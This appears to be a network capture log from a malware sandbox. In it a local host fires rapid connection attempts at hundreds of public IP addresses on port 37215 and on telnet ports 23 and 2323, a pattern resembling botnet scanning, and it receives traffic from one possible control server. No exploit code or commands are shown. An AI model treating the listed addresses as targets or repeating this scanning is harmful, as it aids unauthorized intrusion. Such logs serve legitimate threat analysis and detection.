Oct 8, 2024 20:34:43.992966890 CEST	48169	37215	192.168.2.14	41.27.29.84
Oct 8, 2024 20:34:43.992969036 CEST	48169	37215	192.168.2.14	197.80.42.133
Oct 8, 2024 20:34:43.992970943 CEST	37215	48169	197.90.182.222	192.168.2.14
Oct 8, 2024 20:34:43.992974043 CEST	48169	37215	192.168.2.14	197.81.192.206
Oct 8, 2024 20:34:43.992974997 CEST	48169	37215	192.168.2.14	197.219.252.244
Oct 8, 2024 20:34:43.992976904 CEST	48169	37215	192.168.2.14	41.246.146.195
Oct 8, 2024 20:34:43.992976904 CEST	48169	37215	192.168.2.14	41.182.33.184
Oct 8, 2024 20:34:43.992981911 CEST	37215	48169	41.46.197.154	192.168.2.14
Oct 8, 2024 20:34:43.992988110 CEST	48169	37215	192.168.2.14	156.152.2.56
Oct 8, 2024 20:34:43.992994070 CEST	37215	48169	197.47.99.137	192.168.2.14
Oct 8, 2024 20:34:43.992995024 CEST	48169	37215	192.168.2.14	197.90.182.222
Oct 8, 2024 20:34:43.993005991 CEST	37215	48169	41.166.112.60	192.168.2.14
Oct 8, 2024 20:34:43.993016958 CEST	37215	48169	41.54.192.17	192.168.2.14
Oct 8, 2024 20:34:43.993026018 CEST	37215	48169	156.37.52.106	192.168.2.14
Oct 8, 2024 20:34:43.993036985 CEST	37215	48169	156.176.150.146	192.168.2.14
Oct 8, 2024 20:34:43.993037939 CEST	48169	37215	192.168.2.14	41.46.197.154
Oct 8, 2024 20:34:43.993042946 CEST	48169	37215	192.168.2.14	197.47.99.137
Oct 8, 2024 20:34:43.993042946 CEST	48169	37215	192.168.2.14	41.54.192.17
Oct 8, 2024 20:34:43.993056059 CEST	37215	48169	41.186.191.226	192.168.2.14
Oct 8, 2024 20:34:43.993058920 CEST	48169	37215	192.168.2.14	41.166.112.60
Oct 8, 2024 20:34:43.993058920 CEST	48169	37215	192.168.2.14	156.37.52.106
Oct 8, 2024 20:34:43.993061066 CEST	48169	37215	192.168.2.14	156.176.150.146
Oct 8, 2024 20:34:43.993068933 CEST	37215	48169	197.155.72.135	192.168.2.14
Oct 8, 2024 20:34:43.993078947 CEST	37215	48169	197.92.147.231	192.168.2.14
Oct 8, 2024 20:34:43.993088961 CEST	37215	48169	156.61.48.39	192.168.2.14
Oct 8, 2024 20:34:43.993099928 CEST	37215	48169	197.235.187.0	192.168.2.14
Oct 8, 2024 20:34:43.993100882 CEST	48169	37215	192.168.2.14	41.186.191.226
Oct 8, 2024 20:34:43.993102074 CEST	48169	37215	192.168.2.14	197.155.72.135
Oct 8, 2024 20:34:43.993109941 CEST	37215	48169	41.199.75.79	192.168.2.14
Oct 8, 2024 20:34:43.993120909 CEST	37215	48169	197.107.142.88	192.168.2.14
Oct 8, 2024 20:34:43.993130922 CEST	37215	48169	41.140.199.51	192.168.2.14
Oct 8, 2024 20:34:43.993140936 CEST	37215	48169	197.238.8.36	192.168.2.14
Oct 8, 2024 20:34:43.993143082 CEST	48169	37215	192.168.2.14	197.107.142.88
Oct 8, 2024 20:34:43.993143082 CEST	48169	37215	192.168.2.14	197.235.187.0
Oct 8, 2024 20:34:43.993149042 CEST	48169	37215	192.168.2.14	197.92.147.231
Oct 8, 2024 20:34:43.993149042 CEST	48169	37215	192.168.2.14	41.199.75.79
Oct 8, 2024 20:34:43.993151903 CEST	37215	48169	41.217.167.127	192.168.2.14
Oct 8, 2024 20:34:43.993161917 CEST	37215	48169	41.140.205.48	192.168.2.14
Oct 8, 2024 20:34:43.993164062 CEST	48169	37215	192.168.2.14	156.61.48.39
Oct 8, 2024 20:34:43.993169069 CEST	48169	37215	192.168.2.14	41.140.199.51
Oct 8, 2024 20:34:43.993170023 CEST	48169	37215	192.168.2.14	197.238.8.36
Oct 8, 2024 20:34:43.993172884 CEST	37215	48169	156.87.240.203	192.168.2.14
Oct 8, 2024 20:34:43.993179083 CEST	48169	37215	192.168.2.14	41.217.167.127
Oct 8, 2024 20:34:43.993184090 CEST	37215	48169	197.76.181.218	192.168.2.14
Oct 8, 2024 20:34:43.993186951 CEST	48169	37215	192.168.2.14	41.140.205.48
Oct 8, 2024 20:34:43.993201971 CEST	37215	48169	41.169.84.207	192.168.2.14
Oct 8, 2024 20:34:43.993211985 CEST	37215	48169	156.93.90.76	192.168.2.14
Oct 8, 2024 20:34:43.993221998 CEST	37215	48169	197.119.88.156	192.168.2.14
Oct 8, 2024 20:34:43.993235111 CEST	48169	37215	192.168.2.14	41.169.84.207
Oct 8, 2024 20:34:43.993236065 CEST	37215	48169	197.120.184.87	192.168.2.14
Oct 8, 2024 20:34:43.993246078 CEST	37215	48169	41.114.174.49	192.168.2.14
Oct 8, 2024 20:34:43.993254900 CEST	37215	48169	41.67.130.250	192.168.2.14
Oct 8, 2024 20:34:43.993259907 CEST	48169	37215	192.168.2.14	197.76.181.218
Oct 8, 2024 20:34:43.993263006 CEST	48169	37215	192.168.2.14	156.93.90.76
Oct 8, 2024 20:34:43.993267059 CEST	37215	48169	41.205.84.6	192.168.2.14
Oct 8, 2024 20:34:43.993277073 CEST	37215	48169	156.251.173.87	192.168.2.14
Oct 8, 2024 20:34:43.993277073 CEST	48169	37215	192.168.2.14	41.114.174.49
Oct 8, 2024 20:34:43.993287086 CEST	37215	48169	156.114.9.33	192.168.2.14
Oct 8, 2024 20:34:43.993288040 CEST	48169	37215	192.168.2.14	156.87.240.203
Oct 8, 2024 20:34:43.993299961 CEST	37215	48169	41.46.63.201	192.168.2.14
Oct 8, 2024 20:34:43.993308067 CEST	48169	37215	192.168.2.14	41.205.84.6
Oct 8, 2024 20:34:43.993308067 CEST	48169	37215	192.168.2.14	156.251.173.87
Oct 8, 2024 20:34:43.993315935 CEST	37215	48169	156.114.75.182	192.168.2.14
Oct 8, 2024 20:34:43.993340015 CEST	37215	48169	197.116.213.36	192.168.2.14
Oct 8, 2024 20:34:43.993340969 CEST	48169	37215	192.168.2.14	197.120.184.87
Oct 8, 2024 20:34:43.993340969 CEST	48169	37215	192.168.2.14	197.119.88.156
Oct 8, 2024 20:34:43.993340969 CEST	48169	37215	192.168.2.14	41.67.130.250
Oct 8, 2024 20:34:43.993346930 CEST	48169	37215	192.168.2.14	156.114.9.33
Oct 8, 2024 20:34:43.993346930 CEST	48169	37215	192.168.2.14	41.46.63.201
Oct 8, 2024 20:34:43.993350983 CEST	37215	48169	197.28.64.44	192.168.2.14
Oct 8, 2024 20:34:43.993354082 CEST	48169	37215	192.168.2.14	156.114.75.182
Oct 8, 2024 20:34:43.993362904 CEST	37215	48169	197.243.111.251	192.168.2.14
Oct 8, 2024 20:34:43.993367910 CEST	48169	37215	192.168.2.14	197.116.213.36
Oct 8, 2024 20:34:43.993374109 CEST	37215	48169	41.24.45.30	192.168.2.14
Oct 8, 2024 20:34:43.993385077 CEST	37215	48169	41.175.142.48	192.168.2.14
Oct 8, 2024 20:34:43.993396997 CEST	37215	48169	197.238.31.162	192.168.2.14
Oct 8, 2024 20:34:43.993407011 CEST	37215	48169	156.153.179.89	192.168.2.14
Oct 8, 2024 20:34:43.993410110 CEST	48169	37215	192.168.2.14	197.28.64.44
Oct 8, 2024 20:34:43.993410110 CEST	48169	37215	192.168.2.14	41.175.142.48
Oct 8, 2024 20:34:43.993411064 CEST	48169	37215	192.168.2.14	197.243.111.251
Oct 8, 2024 20:34:43.993417978 CEST	37215	48169	41.62.212.95	192.168.2.14
Oct 8, 2024 20:34:43.993429899 CEST	37215	48169	197.237.3.215	192.168.2.14
Oct 8, 2024 20:34:43.993438005 CEST	48169	37215	192.168.2.14	41.24.45.30
Oct 8, 2024 20:34:43.993438005 CEST	48169	37215	192.168.2.14	197.238.31.162
Oct 8, 2024 20:34:43.993439913 CEST	37215	48169	156.151.213.0	192.168.2.14
Oct 8, 2024 20:34:43.993449926 CEST	37215	48169	156.30.118.171	192.168.2.14
Oct 8, 2024 20:34:43.993459940 CEST	37215	48169	197.79.123.127	192.168.2.14
Oct 8, 2024 20:34:43.993469000 CEST	37215	48169	156.158.130.197	192.168.2.14
Oct 8, 2024 20:34:43.993474007 CEST	48169	37215	192.168.2.14	197.237.3.215
Oct 8, 2024 20:34:43.993474007 CEST	48169	37215	192.168.2.14	156.151.213.0
Oct 8, 2024 20:34:43.993478060 CEST	48169	37215	192.168.2.14	41.62.212.95
Oct 8, 2024 20:34:43.993479967 CEST	37215	48169	156.12.149.228	192.168.2.14
Oct 8, 2024 20:34:43.993480921 CEST	48169	37215	192.168.2.14	156.30.118.171
Oct 8, 2024 20:34:43.993489981 CEST	37215	48169	156.7.134.85	192.168.2.14
Oct 8, 2024 20:34:43.993500948 CEST	37215	48169	41.35.202.161	192.168.2.14
Oct 8, 2024 20:34:43.993510962 CEST	37215	48169	156.211.177.77	192.168.2.14
Oct 8, 2024 20:34:43.993521929 CEST	37215	48169	41.216.25.55	192.168.2.14
Oct 8, 2024 20:34:43.993522882 CEST	48169	37215	192.168.2.14	197.79.123.127
Oct 8, 2024 20:34:43.993522882 CEST	48169	37215	192.168.2.14	156.12.149.228
Oct 8, 2024 20:34:43.993527889 CEST	48169	37215	192.168.2.14	156.158.130.197
Oct 8, 2024 20:34:43.993530035 CEST	48169	37215	192.168.2.14	156.7.134.85
Oct 8, 2024 20:34:43.993532896 CEST	48169	37215	192.168.2.14	41.35.202.161
Oct 8, 2024 20:34:43.993534088 CEST	37215	48169	156.229.83.158	192.168.2.14
Oct 8, 2024 20:34:43.993542910 CEST	48169	37215	192.168.2.14	156.211.177.77
Oct 8, 2024 20:34:43.993555069 CEST	48169	37215	192.168.2.14	156.153.179.89
Oct 8, 2024 20:34:43.993563890 CEST	37215	48169	41.45.16.54	192.168.2.14
Oct 8, 2024 20:34:43.993575096 CEST	37215	48169	41.86.114.231	192.168.2.14
Oct 8, 2024 20:34:43.993582964 CEST	48169	37215	192.168.2.14	156.229.83.158
Oct 8, 2024 20:34:43.993583918 CEST	37215	48169	41.23.239.123	192.168.2.14
Oct 8, 2024 20:34:43.993594885 CEST	48169	37215	192.168.2.14	41.45.16.54
Oct 8, 2024 20:34:43.993597031 CEST	37215	48169	197.109.191.197	192.168.2.14
Oct 8, 2024 20:34:43.993607044 CEST	37215	48169	41.127.182.97	192.168.2.14
Oct 8, 2024 20:34:43.993617058 CEST	37215	48169	156.38.145.56	192.168.2.14
Oct 8, 2024 20:34:43.993626118 CEST	37215	48169	41.145.112.1	192.168.2.14
Oct 8, 2024 20:34:43.993634939 CEST	48169	37215	192.168.2.14	197.109.191.197
Oct 8, 2024 20:34:43.993635893 CEST	37215	48169	197.27.102.1	192.168.2.14
Oct 8, 2024 20:34:43.993642092 CEST	48169	37215	192.168.2.14	41.23.239.123
Oct 8, 2024 20:34:43.993642092 CEST	48169	37215	192.168.2.14	41.127.182.97
Oct 8, 2024 20:34:43.993642092 CEST	48169	37215	192.168.2.14	41.86.114.231
Oct 8, 2024 20:34:43.993642092 CEST	48169	37215	192.168.2.14	156.38.145.56
Oct 8, 2024 20:34:43.993648052 CEST	37215	48169	41.215.138.16	192.168.2.14
Oct 8, 2024 20:34:43.993659019 CEST	37215	48169	41.216.150.65	192.168.2.14
Oct 8, 2024 20:34:43.993669033 CEST	37215	48169	156.182.5.93	192.168.2.14
Oct 8, 2024 20:34:43.993678093 CEST	48169	37215	192.168.2.14	197.27.102.1
Oct 8, 2024 20:34:43.993678093 CEST	37215	48169	156.152.236.78	192.168.2.14
Oct 8, 2024 20:34:43.993680954 CEST	48169	37215	192.168.2.14	41.145.112.1
Oct 8, 2024 20:34:43.993691921 CEST	37215	48169	41.48.3.1	192.168.2.14
Oct 8, 2024 20:34:43.993691921 CEST	48169	37215	192.168.2.14	41.216.150.65
Oct 8, 2024 20:34:43.993693113 CEST	48169	37215	192.168.2.14	41.215.138.16
Oct 8, 2024 20:34:43.993700981 CEST	48169	37215	192.168.2.14	41.216.25.55
Oct 8, 2024 20:34:43.993701935 CEST	48169	37215	192.168.2.14	156.182.5.93
Oct 8, 2024 20:34:43.993702888 CEST	37215	48169	156.119.35.160	192.168.2.14
Oct 8, 2024 20:34:43.993712902 CEST	37215	48169	41.39.47.151	192.168.2.14
Oct 8, 2024 20:34:43.993722916 CEST	37215	48169	197.188.232.177	192.168.2.14
Oct 8, 2024 20:34:43.993731976 CEST	48169	37215	192.168.2.14	41.48.3.1
Oct 8, 2024 20:34:43.993732929 CEST	37215	48169	156.95.77.41	192.168.2.14
Oct 8, 2024 20:34:43.993743896 CEST	37215	48169	197.206.17.170	192.168.2.14
Oct 8, 2024 20:34:43.993743896 CEST	48169	37215	192.168.2.14	156.152.236.78
Oct 8, 2024 20:34:43.993743896 CEST	48169	37215	192.168.2.14	41.39.47.151
Oct 8, 2024 20:34:43.993746042 CEST	48169	37215	192.168.2.14	156.119.35.160
Oct 8, 2024 20:34:43.993746996 CEST	48169	37215	192.168.2.14	197.188.232.177
Oct 8, 2024 20:34:43.993793011 CEST	48169	37215	192.168.2.14	156.95.77.41
Oct 8, 2024 20:34:43.993809938 CEST	48169	37215	192.168.2.14	197.206.17.170
Oct 8, 2024 20:34:43.993864059 CEST	37215	48169	41.116.252.242	192.168.2.14
Oct 8, 2024 20:34:43.993875980 CEST	37215	48169	197.64.167.132	192.168.2.14
Oct 8, 2024 20:34:43.993886948 CEST	37215	48169	41.11.108.42	192.168.2.14
Oct 8, 2024 20:34:43.993896961 CEST	37215	48169	41.66.71.146	192.168.2.14
Oct 8, 2024 20:34:43.993906975 CEST	48169	37215	192.168.2.14	41.11.108.42
Oct 8, 2024 20:34:43.993907928 CEST	37215	48169	156.12.159.82	192.168.2.14
Oct 8, 2024 20:34:43.993907928 CEST	48169	37215	192.168.2.14	197.64.167.132
Oct 8, 2024 20:34:43.993920088 CEST	37215	48169	41.25.118.156	192.168.2.14
Oct 8, 2024 20:34:43.993931055 CEST	37215	48169	197.4.160.57	192.168.2.14
Oct 8, 2024 20:34:43.993935108 CEST	48169	37215	192.168.2.14	41.66.71.146
Oct 8, 2024 20:34:43.993938923 CEST	48169	37215	192.168.2.14	41.116.252.242
Oct 8, 2024 20:34:43.993938923 CEST	48169	37215	192.168.2.14	156.12.159.82
Oct 8, 2024 20:34:43.993942976 CEST	37215	48169	156.112.39.76	192.168.2.14
Oct 8, 2024 20:34:43.993953943 CEST	37215	48169	41.213.78.55	192.168.2.14
Oct 8, 2024 20:34:43.993956089 CEST	48169	37215	192.168.2.14	41.25.118.156
Oct 8, 2024 20:34:43.993958950 CEST	48169	37215	192.168.2.14	197.4.160.57
Oct 8, 2024 20:34:43.993963957 CEST	37215	48169	197.182.64.187	192.168.2.14
Oct 8, 2024 20:34:43.993974924 CEST	37215	48169	197.4.244.169	192.168.2.14
Oct 8, 2024 20:34:43.993983984 CEST	37215	48169	41.61.167.253	192.168.2.14
Oct 8, 2024 20:34:43.993988037 CEST	48169	37215	192.168.2.14	197.182.64.187
Oct 8, 2024 20:34:43.993988991 CEST	48169	37215	192.168.2.14	156.112.39.76
Oct 8, 2024 20:34:43.993988991 CEST	48169	37215	192.168.2.14	41.213.78.55
Oct 8, 2024 20:34:43.993993998 CEST	37215	48169	197.40.7.28	192.168.2.14
Oct 8, 2024 20:34:43.994000912 CEST	48169	37215	192.168.2.14	197.4.244.169
Oct 8, 2024 20:34:43.994005919 CEST	37215	48169	156.168.236.60	192.168.2.14
Oct 8, 2024 20:34:43.994009018 CEST	48169	37215	192.168.2.14	41.61.167.253
Oct 8, 2024 20:34:43.994016886 CEST	37215	48169	197.226.116.178	192.168.2.14
Oct 8, 2024 20:34:43.994019032 CEST	48169	37215	192.168.2.14	197.40.7.28
Oct 8, 2024 20:34:43.994028091 CEST	37215	48169	197.24.78.19	192.168.2.14
Oct 8, 2024 20:34:43.994029999 CEST	48169	37215	192.168.2.14	156.168.236.60
Oct 8, 2024 20:34:43.994040966 CEST	37215	48169	197.228.235.235	192.168.2.14
Oct 8, 2024 20:34:43.994043112 CEST	48169	37215	192.168.2.14	197.226.116.178
Oct 8, 2024 20:34:43.994051933 CEST	37215	48169	156.228.234.60	192.168.2.14
Oct 8, 2024 20:34:43.994062901 CEST	37215	48169	41.103.214.7	192.168.2.14
Oct 8, 2024 20:34:43.994071960 CEST	48169	37215	192.168.2.14	197.228.235.235
Oct 8, 2024 20:34:43.994082928 CEST	37215	48169	156.172.73.125	192.168.2.14
Oct 8, 2024 20:34:43.994092941 CEST	48169	37215	192.168.2.14	156.228.234.60
Oct 8, 2024 20:34:43.994092941 CEST	48169	37215	192.168.2.14	41.103.214.7
Oct 8, 2024 20:34:43.994093895 CEST	37215	48169	41.177.54.29	192.168.2.14
Oct 8, 2024 20:34:43.994107962 CEST	37215	48169	197.246.125.242	192.168.2.14
Oct 8, 2024 20:34:43.994117022 CEST	37215	48169	156.139.229.130	192.168.2.14
Oct 8, 2024 20:34:43.994119883 CEST	48169	37215	192.168.2.14	41.177.54.29
Oct 8, 2024 20:34:43.994127035 CEST	37215	48169	41.219.199.58	192.168.2.14
Oct 8, 2024 20:34:43.994138002 CEST	37215	48169	156.36.96.198	192.168.2.14
Oct 8, 2024 20:34:43.994147062 CEST	37215	48169	41.149.103.249	192.168.2.14
Oct 8, 2024 20:34:43.994158030 CEST	37215	48169	197.179.221.33	192.168.2.14
Oct 8, 2024 20:34:43.994174957 CEST	37215	48169	41.183.244.128	192.168.2.14
Oct 8, 2024 20:34:43.994189978 CEST	48169	37215	192.168.2.14	197.179.221.33
Oct 8, 2024 20:34:43.994268894 CEST	37215	48169	156.170.216.142	192.168.2.14
Oct 8, 2024 20:34:43.994278908 CEST	37215	48169	41.152.197.54	192.168.2.14
Oct 8, 2024 20:34:43.994415045 CEST	37215	48169	156.212.188.111	192.168.2.14
Oct 8, 2024 20:34:43.994426012 CEST	37215	48169	41.88.250.148	192.168.2.14
Oct 8, 2024 20:34:43.994436026 CEST	37215	48169	156.239.44.9	192.168.2.14
Oct 8, 2024 20:34:43.994446993 CEST	37215	48169	156.241.192.175	192.168.2.14
Oct 8, 2024 20:34:43.994457960 CEST	37215	48169	41.235.130.105	192.168.2.14
Oct 8, 2024 20:34:43.994467974 CEST	48169	37215	192.168.2.14	156.239.44.9
Oct 8, 2024 20:34:43.994471073 CEST	37215	48169	41.116.78.182	192.168.2.14
Oct 8, 2024 20:34:43.994481087 CEST	37215	48169	156.174.186.166	192.168.2.14
Oct 8, 2024 20:34:43.994482040 CEST	48169	37215	192.168.2.14	41.235.130.105
Oct 8, 2024 20:34:43.994491100 CEST	37215	48169	156.102.30.239	192.168.2.14
Oct 8, 2024 20:34:43.994503021 CEST	37215	48169	197.243.135.64	192.168.2.14
Oct 8, 2024 20:34:43.994513988 CEST	48169	37215	192.168.2.14	41.149.103.249
Oct 8, 2024 20:34:43.994514942 CEST	37215	48169	41.156.34.224	192.168.2.14
Oct 8, 2024 20:34:43.994524956 CEST	37215	48169	41.194.46.177	192.168.2.14
Oct 8, 2024 20:34:43.994534969 CEST	37215	48169	156.214.45.47	192.168.2.14
Oct 8, 2024 20:34:43.994535923 CEST	48169	37215	192.168.2.14	197.243.135.64
Oct 8, 2024 20:34:43.994539976 CEST	48169	37215	192.168.2.14	41.156.34.224
Oct 8, 2024 20:34:43.994544983 CEST	37215	48169	156.122.72.214	192.168.2.14
Oct 8, 2024 20:34:43.994559050 CEST	37215	48169	41.112.217.224	192.168.2.14
Oct 8, 2024 20:34:43.994569063 CEST	37215	48169	197.35.138.221	192.168.2.14
Oct 8, 2024 20:34:43.994573116 CEST	48169	37215	192.168.2.14	41.194.46.177
Oct 8, 2024 20:34:43.994579077 CEST	37215	48169	197.97.180.106	192.168.2.14
Oct 8, 2024 20:34:43.994589090 CEST	37215	48169	197.222.193.244	192.168.2.14
Oct 8, 2024 20:34:43.994600058 CEST	37215	48169	41.7.60.148	192.168.2.14
Oct 8, 2024 20:34:43.994610071 CEST	37215	48169	197.164.173.204	192.168.2.14
Oct 8, 2024 20:34:43.994610071 CEST	48169	37215	192.168.2.14	41.112.217.224
Oct 8, 2024 20:34:43.994618893 CEST	48169	37215	192.168.2.14	197.222.193.244
Oct 8, 2024 20:34:43.994632006 CEST	37215	48169	156.132.232.26	192.168.2.14
Oct 8, 2024 20:34:43.994642973 CEST	37215	48169	41.20.24.143	192.168.2.14
Oct 8, 2024 20:34:43.994643927 CEST	48169	37215	192.168.2.14	41.7.60.148
Oct 8, 2024 20:34:43.994653940 CEST	37215	48169	156.91.61.243	192.168.2.14
Oct 8, 2024 20:34:43.994666100 CEST	48169	37215	192.168.2.14	156.132.232.26
Oct 8, 2024 20:34:43.994666100 CEST	48169	37215	192.168.2.14	41.20.24.143
Oct 8, 2024 20:34:43.994669914 CEST	37215	48169	156.200.9.250	192.168.2.14
Oct 8, 2024 20:34:43.994680882 CEST	37215	48169	156.218.24.7	192.168.2.14
Oct 8, 2024 20:34:43.994693041 CEST	37215	48169	197.172.135.204	192.168.2.14
Oct 8, 2024 20:34:43.994703054 CEST	37215	48169	197.36.175.208	192.168.2.14
Oct 8, 2024 20:34:43.994713068 CEST	37215	48169	41.106.181.5	192.168.2.14
Oct 8, 2024 20:34:43.994724035 CEST	37215	48169	41.154.21.31	192.168.2.14
Oct 8, 2024 20:34:43.994734049 CEST	37215	48169	41.144.72.146	192.168.2.14
Oct 8, 2024 20:34:43.994735003 CEST	48169	37215	192.168.2.14	197.172.135.204
Oct 8, 2024 20:34:43.994735003 CEST	48169	37215	192.168.2.14	197.36.175.208
Oct 8, 2024 20:34:43.994744062 CEST	37215	48169	41.107.9.25	192.168.2.14
Oct 8, 2024 20:34:43.994755030 CEST	37215	48169	41.12.44.8	192.168.2.14
Oct 8, 2024 20:34:43.994760036 CEST	48169	37215	192.168.2.14	41.154.21.31
Oct 8, 2024 20:34:43.994761944 CEST	48169	37215	192.168.2.14	41.144.72.146
Oct 8, 2024 20:34:43.994765997 CEST	37215	48169	197.88.98.59	192.168.2.14
Oct 8, 2024 20:34:43.994775057 CEST	48169	37215	192.168.2.14	41.107.9.25
Oct 8, 2024 20:34:43.994776964 CEST	37215	48169	156.250.26.192	192.168.2.14
Oct 8, 2024 20:34:43.994776964 CEST	48169	37215	192.168.2.14	41.12.44.8
Oct 8, 2024 20:34:43.994787931 CEST	37215	48169	156.16.51.251	192.168.2.14
Oct 8, 2024 20:34:43.994798899 CEST	37215	48169	197.220.1.156	192.168.2.14
Oct 8, 2024 20:34:43.994808912 CEST	37215	48169	41.90.71.218	192.168.2.14
Oct 8, 2024 20:34:43.994817972 CEST	48169	37215	192.168.2.14	156.250.26.192
Oct 8, 2024 20:34:43.994818926 CEST	37215	48169	156.193.154.33	192.168.2.14
Oct 8, 2024 20:34:43.994831085 CEST	48169	37215	192.168.2.14	197.220.1.156
Oct 8, 2024 20:34:43.994832993 CEST	37215	48169	156.142.221.138	192.168.2.14
Oct 8, 2024 20:34:43.994843960 CEST	37215	48169	156.181.101.55	192.168.2.14
Oct 8, 2024 20:34:43.994853973 CEST	37215	48169	197.137.103.113	192.168.2.14
Oct 8, 2024 20:34:43.994863987 CEST	37215	48169	197.48.139.0	192.168.2.14
Oct 8, 2024 20:34:43.994874001 CEST	37215	48169	156.230.32.159	192.168.2.14
Oct 8, 2024 20:34:43.994884968 CEST	37215	48169	156.107.16.149	192.168.2.14
Oct 8, 2024 20:34:43.994894981 CEST	37215	48169	41.121.85.194	192.168.2.14
Oct 8, 2024 20:34:43.994904041 CEST	37215	48169	41.154.190.23	192.168.2.14
Oct 8, 2024 20:34:43.994906902 CEST	48169	37215	192.168.2.14	41.90.71.218
Oct 8, 2024 20:34:43.994915009 CEST	37215	48169	197.93.73.59	192.168.2.14
Oct 8, 2024 20:34:43.994975090 CEST	37215	48169	197.33.102.200	192.168.2.14
Oct 8, 2024 20:34:43.994987965 CEST	37215	48169	156.191.76.82	192.168.2.14
Oct 8, 2024 20:34:43.994997978 CEST	37215	48169	156.209.67.243	192.168.2.14
Oct 8, 2024 20:34:43.995008945 CEST	37215	48169	156.230.20.219	192.168.2.14
Oct 8, 2024 20:34:43.995019913 CEST	37215	48169	41.172.7.48	192.168.2.14
Oct 8, 2024 20:34:43.995031118 CEST	37215	48169	41.179.238.6	192.168.2.14
Oct 8, 2024 20:34:43.995040894 CEST	37215	48169	41.66.188.53	192.168.2.14
Oct 8, 2024 20:34:43.995165110 CEST	48169	37215	192.168.2.14	156.181.101.55
Oct 8, 2024 20:34:43.995166063 CEST	48169	37215	192.168.2.14	156.107.16.149
Oct 8, 2024 20:34:43.995165110 CEST	48169	37215	192.168.2.14	197.48.139.0
Oct 8, 2024 20:34:43.995178938 CEST	48169	37215	192.168.2.14	41.121.85.194
Oct 8, 2024 20:34:43.995178938 CEST	48169	37215	192.168.2.14	41.154.190.23
Oct 8, 2024 20:34:43.995181084 CEST	48169	37215	192.168.2.14	197.33.102.200
Oct 8, 2024 20:34:43.995191097 CEST	48169	37215	192.168.2.14	156.191.76.82
Oct 8, 2024 20:34:43.995191097 CEST	48169	37215	192.168.2.14	156.209.67.243
Oct 8, 2024 20:34:43.995202065 CEST	48169	37215	192.168.2.14	41.172.7.48
Oct 8, 2024 20:34:43.995245934 CEST	48169	37215	192.168.2.14	41.66.188.53
Oct 8, 2024 20:34:43.995393991 CEST	48169	37215	192.168.2.14	197.24.78.19
Oct 8, 2024 20:34:43.995400906 CEST	48169	37215	192.168.2.14	156.172.73.125
Oct 8, 2024 20:34:43.995413065 CEST	48169	37215	192.168.2.14	197.246.125.242
Oct 8, 2024 20:34:43.995415926 CEST	48169	37215	192.168.2.14	156.139.229.130
Oct 8, 2024 20:34:43.995429039 CEST	48169	37215	192.168.2.14	41.219.199.58
Oct 8, 2024 20:34:43.995429993 CEST	48169	37215	192.168.2.14	41.183.244.128
Oct 8, 2024 20:34:43.995445967 CEST	48169	37215	192.168.2.14	41.152.197.54
Oct 8, 2024 20:34:43.995452881 CEST	48169	37215	192.168.2.14	156.212.188.111
Oct 8, 2024 20:34:43.995462894 CEST	48169	37215	192.168.2.14	41.88.250.148
Oct 8, 2024 20:34:43.995462894 CEST	48169	37215	192.168.2.14	156.241.192.175
Oct 8, 2024 20:34:43.995465994 CEST	1420	36630	45.137.198.211	192.168.2.14
Oct 8, 2024 20:34:43.995466948 CEST	48169	37215	192.168.2.14	156.170.216.142
Oct 8, 2024 20:34:43.995476961 CEST	48169	37215	192.168.2.14	156.36.96.198
Oct 8, 2024 20:34:43.995476961 CEST	48169	37215	192.168.2.14	156.174.186.166
Oct 8, 2024 20:34:43.995476961 CEST	48169	37215	192.168.2.14	41.116.78.182
Oct 8, 2024 20:34:43.995480061 CEST	48169	37215	192.168.2.14	156.102.30.239
Oct 8, 2024 20:34:43.995484114 CEST	48169	37215	192.168.2.14	156.214.45.47
Oct 8, 2024 20:34:43.995484114 CEST	48169	37215	192.168.2.14	156.122.72.214
Oct 8, 2024 20:34:43.995506048 CEST	48169	37215	192.168.2.14	197.35.138.221
Oct 8, 2024 20:34:43.995506048 CEST	48169	37215	192.168.2.14	197.97.180.106
Oct 8, 2024 20:34:43.995507002 CEST	48169	37215	192.168.2.14	197.164.173.204
Oct 8, 2024 20:34:43.995515108 CEST	48169	37215	192.168.2.14	156.91.61.243
Oct 8, 2024 20:34:43.995517969 CEST	48169	37215	192.168.2.14	156.200.9.250
Oct 8, 2024 20:34:43.995529890 CEST	48169	37215	192.168.2.14	156.218.24.7
Oct 8, 2024 20:34:43.995543003 CEST	48169	37215	192.168.2.14	41.106.181.5
Oct 8, 2024 20:34:43.995580912 CEST	48169	37215	192.168.2.14	156.16.51.251
Oct 8, 2024 20:34:43.995584965 CEST	48169	37215	192.168.2.14	197.88.98.59
Oct 8, 2024 20:34:43.995595932 CEST	48169	37215	192.168.2.14	156.142.221.138
Oct 8, 2024 20:34:43.995604992 CEST	48169	37215	192.168.2.14	197.93.73.59
Oct 8, 2024 20:34:43.995604992 CEST	48169	37215	192.168.2.14	41.179.238.6
Oct 8, 2024 20:34:43.995606899 CEST	48169	37215	192.168.2.14	156.230.20.219
Oct 8, 2024 20:34:43.995611906 CEST	48169	37215	192.168.2.14	156.230.32.159
Oct 8, 2024 20:34:43.995646000 CEST	48169	37215	192.168.2.14	156.193.154.33
Oct 8, 2024 20:34:43.995646000 CEST	48169	37215	192.168.2.14	197.137.103.113
Oct 8, 2024 20:34:44.977535009 CEST	48168	23	192.168.2.14	102.20.153.20
Oct 8, 2024 20:34:44.977545023 CEST	48168	23	192.168.2.14	169.36.75.192
Oct 8, 2024 20:34:44.977545023 CEST	48168	23	192.168.2.14	67.198.48.130
Oct 8, 2024 20:34:44.977547884 CEST	48168	23	192.168.2.14	160.113.240.38
Oct 8, 2024 20:34:44.977550030 CEST	48168	23	192.168.2.14	77.191.202.43
Oct 8, 2024 20:34:44.977550030 CEST	48168	23	192.168.2.14	92.33.191.19
Oct 8, 2024 20:34:44.977550030 CEST	48168	23	192.168.2.14	2.189.11.69
Oct 8, 2024 20:34:44.977561951 CEST	48168	23	192.168.2.14	155.209.154.81
Oct 8, 2024 20:34:44.977581024 CEST	48168	23	192.168.2.14	167.200.2.90
Oct 8, 2024 20:34:44.977581024 CEST	48168	23	192.168.2.14	121.246.209.7
Oct 8, 2024 20:34:44.977581024 CEST	48168	23	192.168.2.14	85.210.63.41
Oct 8, 2024 20:34:44.977583885 CEST	48168	23	192.168.2.14	167.141.22.124
Oct 8, 2024 20:34:44.977583885 CEST	48168	23	192.168.2.14	149.187.44.209
Oct 8, 2024 20:34:44.977583885 CEST	48168	2323	192.168.2.14	1.208.64.84
Oct 8, 2024 20:34:44.977583885 CEST	48168	2323	192.168.2.14	115.208.141.64
Oct 8, 2024 20:34:44.977583885 CEST	48168	23	192.168.2.14	155.248.155.233
